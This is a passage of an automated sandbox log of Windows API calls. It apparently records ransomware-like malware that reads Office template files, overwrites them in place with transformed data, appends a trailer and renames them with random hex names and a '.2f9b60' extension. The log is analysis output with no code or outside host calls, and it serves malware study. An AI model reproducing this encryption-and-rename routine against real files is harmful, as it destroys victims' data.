_Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="14") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="06") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="3b") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="be") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="05") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="da") returned 2 [0200.482] RtlInitAnsiString (in: DestinationString=0x3e8ffd48, SourceString="acbf579ca50cf711deab6bcf000c14063bbe05da" | out: DestinationString="acbf579ca50cf711deab6bcf000c14063bbe05da") [0200.482] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e8ffd18, SourceString="acbf579ca50cf711deab6bcf000c14063bbe05da", AllocateDestinationString=1 | out: DestinationString="acbf579ca50cf711deab6bcf000c14063bbe05da") returned 0x0 [0200.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9dfd0 [0200.483] wcscat (in: _Dest=0x431da070, _Source="acbf579ca5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\acbf579ca5") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\acbf579ca5" [0200.483] wcscat (in: _Dest=0x431da070, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\acbf579ca5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\acbf579ca5.2f9b60" [0200.483] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\acbf579ca5.2f9b60", NtPathName=0x3e8ffcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\acbf579ca5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431ea930 Thread: id = 1395 os_tid = 0x1820 [0118.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn")) returned 0x20 [0119.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn", dwFileAttributes=0x20) returned 1 [0119.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17dc [0119.223] GetFileSizeEx (in: hFile=0x17dc, lpFileSize=0x22caf860 | out: lpFileSize=0x22caf860*=13758) returned 1 [0119.223] SetFilePointerEx (in: hFile=0x17dc, liDistanceToMove=0x35ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.224] ReadFile (in: hFile=0x17dc, lpBuffer=0x22caf7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22caf828, lpOverlapped=0x0 | out: lpBuffer=0x22caf7e0*, lpNumberOfBytesRead=0x22caf828*=0x4, lpOverlapped=0x0) returned 1 [0119.226] SetFilePointerEx (in: hFile=0x17dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa290 [0119.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0119.226] NtQuerySystemTime (in: CurrentTime=0x22caf720 | out: CurrentTime=0x22caf720*=132462177246358000) returned 0x0 [0119.226] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x59a6e4d6 [0119.226] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0xa948f0a [0119.226] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0xf3db93a [0119.226] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x5bdf04ef [0119.226] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x82b362d [0119.226] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x1a3658b3 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x6ccc0fb7 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x59a6e4d6 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x55a8f126 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x429a7ee0 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0xdd9938c [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x3243e8ab [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x776aa1c1 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x6b811605 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x1d1b701b [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x49dc0405 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x7a751b0a [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x7047ac81 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x5f93d13b [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x71dcf0c1 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x40f1cb12 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x2d799c15 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x43d2443f [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0xc87cca5 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x4f8bb687 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x1933b368 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x594d3841 [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x7b30457d [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x1ab6585c [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x2832ae6f [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x1a23418c [0119.227] RtlRandomEx (in: Seed=0x22caf710 | out: Seed=0x22caf710) returned 0x4760dfae [0119.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa470 [0119.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0119.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6e0 [0119.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0119.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa560) returned 1 [0119.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0119.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0119.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ee130 [0119.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0119.236] ReadFile (in: hFile=0x17dc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x35be, lpNumberOfBytesRead=0x22caf710, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22caf710*=0x35be, lpOverlapped=0x0) returned 1 [0119.238] SetFilePointerEx (in: hFile=0x17dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.238] WriteFile (in: hFile=0x17dc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x35be, lpNumberOfBytesWritten=0x22caf714, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22caf714*=0x35be, lpOverlapped=0x0) returned 1 [0148.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0148.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aae0 [0148.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aae0) returned 1 [0148.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0148.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0148.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0148.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0148.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c620 [0148.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0148.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aae0 [0148.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aae0) returned 1 [0148.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c2b0 [0148.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aae0 [0148.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0148.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859b20) returned 1 [0148.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0148.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x126) returned 0x1810b0 [0148.032] SetFilePointerEx (in: hFile=0x17dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.032] WriteFile (hFile=0x17dc, lpBuffer=0x1810b0, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x22caf830, lpOverlapped=0x0) [0206.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053e80 [0206.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053e80) returned 1 [0206.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fb70 [0206.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053e80 [0206.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053e50 [0206.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053e50) returned 1 [0206.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1cebb0e0 [0206.741] sprintf (in: _Dest=0x1cebb0e0, _Format="%c%c" | out: _Dest="1b") returned 2 [0206.741] sprintf (in: _Dest=0x1cebb0e2, _Format="%c%c" | out: _Dest="56") returned 2 [0206.741] sprintf (in: _Dest=0x1cebb0e4, _Format="%c%c" | out: _Dest="9c") returned 2 [0206.741] sprintf (in: _Dest=0x1cebb0e6, _Format="%c%c" | out: _Dest="d7") returned 2 [0206.741] sprintf (in: _Dest=0x1cebb0e8, _Format="%c%c" | out: _Dest="68") returned 2 [0206.741] sprintf (in: _Dest=0x1cebb0ea, _Format="%c%c" | out: _Dest="f7") returned 2 [0206.741] sprintf (in: _Dest=0x1cebb0ec, _Format="%c%c" | out: _Dest="7d") returned 2 [0206.741] sprintf (in: _Dest=0x1cebb0ee, _Format="%c%c" | out: _Dest="09") returned 2 [0206.741] sprintf (in: _Dest=0x1cebb0f0, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.741] sprintf (in: _Dest=0x1cebb0f2, _Format="%c%c" | out: _Dest="bc") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb0f4, _Format="%c%c" | out: _Dest="ad") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb0f6, _Format="%c%c" | out: _Dest="4f") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb0f8, _Format="%c%c" | out: _Dest="33") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb0fa, _Format="%c%c" | out: _Dest="d9") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb0fc, _Format="%c%c" | out: _Dest="9d") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb0fe, _Format="%c%c" | out: _Dest="6a") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb100, _Format="%c%c" | out: _Dest="75") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb102, _Format="%c%c" | out: _Dest="9e") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb104, _Format="%c%c" | out: _Dest="8a") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb106, _Format="%c%c" | out: _Dest="00") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb108, _Format="%c%c" | out: _Dest="35") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb10a, _Format="%c%c" | out: _Dest="ff") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb10c, _Format="%c%c" | out: _Dest="ff") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb10e, _Format="%c%c" | out: _Dest="5b") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb110, _Format="%c%c" | out: _Dest="1e") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb112, _Format="%c%c" | out: _Dest="6b") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb114, _Format="%c%c" | out: _Dest="ef") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb116, _Format="%c%c" | out: _Dest="d0") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb118, _Format="%c%c" | out: _Dest="c2") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb11a, _Format="%c%c" | out: _Dest="4b") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb11c, _Format="%c%c" | out: _Dest="73") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb11e, _Format="%c%c" | out: _Dest="08") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb120, _Format="%c%c" | out: _Dest="3d") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb122, _Format="%c%c" | out: _Dest="6c") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb124, _Format="%c%c" | out: _Dest="e1") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb126, _Format="%c%c" | out: _Dest="ba") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb128, _Format="%c%c" | out: _Dest="c2") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb12a, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb12c, _Format="%c%c" | out: _Dest="c6") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb12e, _Format="%c%c" | out: _Dest="7c") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb130, _Format="%c%c" | out: _Dest="8b") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb132, _Format="%c%c" | out: _Dest="cc") returned 2 [0206.742] sprintf (in: _Dest=0x1cebb134, _Format="%c%c" | out: _Dest="57") returned 2 [0206.743] sprintf (in: _Dest=0x1cebb136, _Format="%c%c" | out: _Dest="69") returned 2 [0206.743] sprintf (in: _Dest=0x1cebb138, _Format="%c%c" | out: _Dest="f0") returned 2 [0206.743] sprintf (in: _Dest=0x1cebb13a, _Format="%c%c" | out: _Dest="1d") returned 2 [0206.743] sprintf (in: _Dest=0x1cebb13c, _Format="%c%c" | out: _Dest="0b") returned 2 [0206.743] sprintf (in: _Dest=0x1cebb13e, _Format="%c%c" | out: _Dest="b8") returned 2 [0206.743] sprintf (in: _Dest=0x1cebb140, _Format="%c%c" | out: _Dest="a1") returned 2 [0206.743] sprintf (in: _Dest=0x1cebb142, _Format="%c%c" | out: _Dest="11") returned 2 [0206.743] sprintf (in: _Dest=0x1cebb144, _Format="%c%c" | out: _Dest="20") returned 2 [0206.743] sprintf (in: _Dest=0x1cebb146, _Format="%c%c" | out: _Dest="92") returned 2 [0206.743] RtlInitAnsiString (in: DestinationString=0x22caf8a8, SourceString="1b569cd768f77d09c1bcad4f33d99d6a759e8a0035ffff5b1e6befd0c24b73083d6ce1bac24ac67c8bcc5769f01d0bb8a1112092" | out: DestinationString="1b569cd768f77d09c1bcad4f33d99d6a759e8a0035ffff5b1e6befd0c24b73083d6ce1bac24ac67c8bcc5769f01d0bb8a1112092") [0206.743] RtlAnsiStringToUnicodeString (in: DestinationString=0x22caf878, SourceString="1b569cd768f77d09c1bcad4f33d99d6a759e8a0035ffff5b1e6befd0c24b73083d6ce1bac24ac67c8bcc5769f01d0bb8a1112092", AllocateDestinationString=1 | out: DestinationString="1b569cd768f77d09c1bcad4f33d99d6a759e8a0035ffff5b1e6befd0c24b73083d6ce1bac24ac67c8bcc5769f01d0bb8a1112092") returned 0x0 [0206.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x431571a0 [0206.743] wcscat (in: _Dest=0x4314e9e0, _Source="1b569cd768f77d09c1bcad4f33" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1b569cd768f77d09c1bcad4f33") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1b569cd768f77d09c1bcad4f33" [0206.743] wcscat (in: _Dest=0x4314e9e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1b569cd768f77d09c1bcad4f33.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1b569cd768f77d09c1bcad4f33.2f9b60" [0206.743] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1b569cd768f77d09c1bcad4f33.2f9b60", NtPathName=0x22caf850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\1b569cd768f77d09c1bcad4f33.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4310ada0 Thread: id = 1396 os_tid = 0x1824 [0119.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn")) returned 0x20 [0119.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn", dwFileAttributes=0x20) returned 1 [0119.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1748 [0119.246] GetFileSizeEx (in: hFile=0x1748, lpFileSize=0x3ea8fbc0 | out: lpFileSize=0x3ea8fbc0*=14075) returned 1 [0119.246] SetFilePointerEx (in: hFile=0x1748, liDistanceToMove=0x36f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.246] ReadFile (in: hFile=0x1748, lpBuffer=0x3ea8fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ea8fb88, lpOverlapped=0x0 | out: lpBuffer=0x3ea8fb40*, lpNumberOfBytesRead=0x3ea8fb88*=0x4, lpOverlapped=0x0) returned 1 [0119.407] SetFilePointerEx (in: hFile=0x1748, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8f0 [0119.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaaa0 [0119.407] NtQuerySystemTime (in: CurrentTime=0x3ea8fa80 | out: CurrentTime=0x3ea8fa80*=132462177248230000) returned 0x0 [0119.407] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x499aba58 [0119.407] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x1899772a [0119.407] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x2ae4d2bc [0119.407] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x170c561d [0119.407] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x639861d3 [0119.407] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x1a3658b3 [0119.407] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x64df7826 [0119.407] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x522a2c36 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0xcd27605 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x4c36cff9 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x2bfc5bbd [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x4a169682 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x36ac5b40 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x7fae63eb [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x4e5d641a [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x474b6040 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x308a87ff [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x3adb8600 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x61ec541c [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x593f18c [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x6f542332 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x4601fc3c [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x68418c73 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x5db4dfab [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x442fa670 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x23cf2478 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x6f1a7863 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x2e52c0e [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x3ab0ad40 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x2c158630 [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x16426fcf [0119.408] RtlRandomEx (in: Seed=0x3ea8fa70 | out: Seed=0x3ea8fa70) returned 0x5ba5b765 [0119.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0119.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0119.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe80 [0119.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0119.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaaa0) returned 1 [0119.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0119.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0119.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420178d0 [0119.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42022d00 [0119.417] ReadFile (in: hFile=0x1748, lpBuffer=0x420178d0, nNumberOfBytesToRead=0x36fb, lpNumberOfBytesRead=0x3ea8fa70, lpOverlapped=0x0 | out: lpBuffer=0x420178d0*, lpNumberOfBytesRead=0x3ea8fa70*=0x36fb, lpOverlapped=0x0) returned 1 [0119.454] SetFilePointerEx (in: hFile=0x1748, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.454] WriteFile (in: hFile=0x1748, lpBuffer=0x42022d00*, nNumberOfBytesToWrite=0x36fb, lpNumberOfBytesWritten=0x3ea8fa74, lpOverlapped=0x0 | out: lpBuffer=0x42022d00*, lpNumberOfBytesWritten=0x3ea8fa74*=0x36fb, lpOverlapped=0x0) returned 1 [0148.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0148.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0148.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85afc0) returned 1 [0148.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42022d00) returned 1 [0148.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420178d0) returned 1 [0148.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0148.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0148.034] 